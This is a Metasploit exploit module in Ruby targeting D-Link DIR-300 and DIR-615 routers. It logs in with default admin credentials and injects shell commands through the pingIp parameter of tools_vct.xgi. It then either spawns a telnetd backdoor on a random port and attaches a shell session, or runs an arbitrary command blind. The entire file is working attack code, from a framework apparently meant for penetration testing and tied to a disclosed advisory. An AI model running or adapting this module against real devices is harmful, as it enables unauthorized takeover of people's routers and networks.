##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::CommandShell

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'D-Link Devices Unauthenticated Remote Command Execution',
      'Description' => %q{
        Different D-Link Routers are vulnerable to OS command injection via the web
        interface. The vulnerability exists in tools_vct.xgi, which is accessible with
        credentials. This module has been tested with the versions DIR-300 rev A v1.05
        and DIR-615 rev D v4.13. Two target are included, the first one starts a telnetd
        service and establish a session over it, the second one runs commands via the CMD
        target. There is no wget or tftp client to upload an elf backdoor easily. According
        to the vulnerability discoverer, more D-Link devices may affected.
      },
      'Author'      =>
        [
          'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
          'juan vazquez' # minor help with msf module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'OSVDB', '92698' ],
          [ 'EDB', '25024' ],
          [ 'BID', '59405' ],
          [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-014' ]
        ],
      'DisclosureDate' => 'Apr 22 2013',
      'Privileged'     => true,
      'Platform'       => ['linux','unix'],
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Targets'        =>
        [
          [ 'CMD',  #all devices
            {
            'Arch' => ARCH_CMD,
            'Platform' => 'unix'
            }
          ],
          [ 'Telnet',  #all devices - default target
            {
            'Arch' => ARCH_CMD,
            'Platform' => 'unix'
            }
          ],
        ],
      'DefaultTarget'  => 1
      ))

    register_options(
      [
        OptString.new('USERNAME',[ true, 'User to login with', 'admin']),
        OptString.new('PASSWORD',[ false, 'Password to login with', 'admin']),

      ], self.class)
  end

  def exploit
    user = datastore['USERNAME']

    if datastore['PASSWORD'].nil?
      pass = ""
    else
      pass = datastore['PASSWORD']
    end

    test_login(user, pass)

    if target.name =~ /CMD/
      exploit_cmd
    else
      exploit_telnet
    end
  end

  def test_login(user, pass)
    print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")

    login_path = "/login.php"

    #valid login response includes the following
    login_check = "\<META\ HTTP\-EQUIV\=Refresh\ CONTENT\=\'0\;\ url\=index.php\'\>"

    begin
      res = send_request_cgi({
        'uri' => login_path,
        'method' => 'POST',
        'vars_post' => {
          "ACTION_POST" => "LOGIN",
          "LOGIN_USER" => "#{user}",
          "LOGIN_PASSWD" => "#{pass}",
          "login" => "+Log+In+"
          }
      })
      if res.nil?
        fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - no response")
      end
      if (res.headers['Server'].nil? or res.headers['Server'] !~ /Mathopd\/1.5p6/)
        fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - check the server banner")
      end
      if (res.code == 404)
        fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - 404 error")
      end

      if (res.body) =~ /#{login_check}/
        print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
      else
        fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
      end

    rescue ::Rex::ConnectionError
      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
    end
  end

  def exploit_cmd
    if not (datastore['CMD'])
      fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
    end
    res = request(payload.encoded)
    if (!res or res.code != 302 or res.headers['Server'].nil? or res.headers['Server'] !~ /Alpha_webserv/)
      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
    end

    print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state\n")
    return
  end

  def exploit_telnet
    telnetport = rand(65535)

    vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")

    cmd = "telnetd -p #{telnetport}"

    #starting the telnetd gives no response
    request(cmd)

    begin
      sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })

      if sock
        print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
        add_socket(sock)
      else
        fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
      end

      print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
      auth_info = {
        :host   => rhost,
        :port   => telnetport,
        :sname => 'telnet',
        :user   => "",
        :pass  => "",
        :source_type => "exploit",
        :active => true
      }
      report_auth_info(auth_info)
      merge_me = {
        'USERPASS_FILE' => nil,
        'USER_FILE'     => nil,
        'PASS_FILE'     => nil,
        'USERNAME'      => nil,
        'PASSWORD'      => nil
      }
      start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
    rescue
      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
    end
    return
  end

  def request(cmd)

    uri = '/tools_vct.xgi'

    begin
      res = send_request_cgi({
        'uri'    => uri,
        'vars_get'  => {
          'set/runtime/switch/getlinktype' => "1",
          'set/runtime/diagnostic/pingIp' => "`#{cmd}`",
          'pingIP' => ""
          },
        'method' => 'GET',
      })
    return res
    rescue ::Rex::ConnectionError
      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
    end
  end
end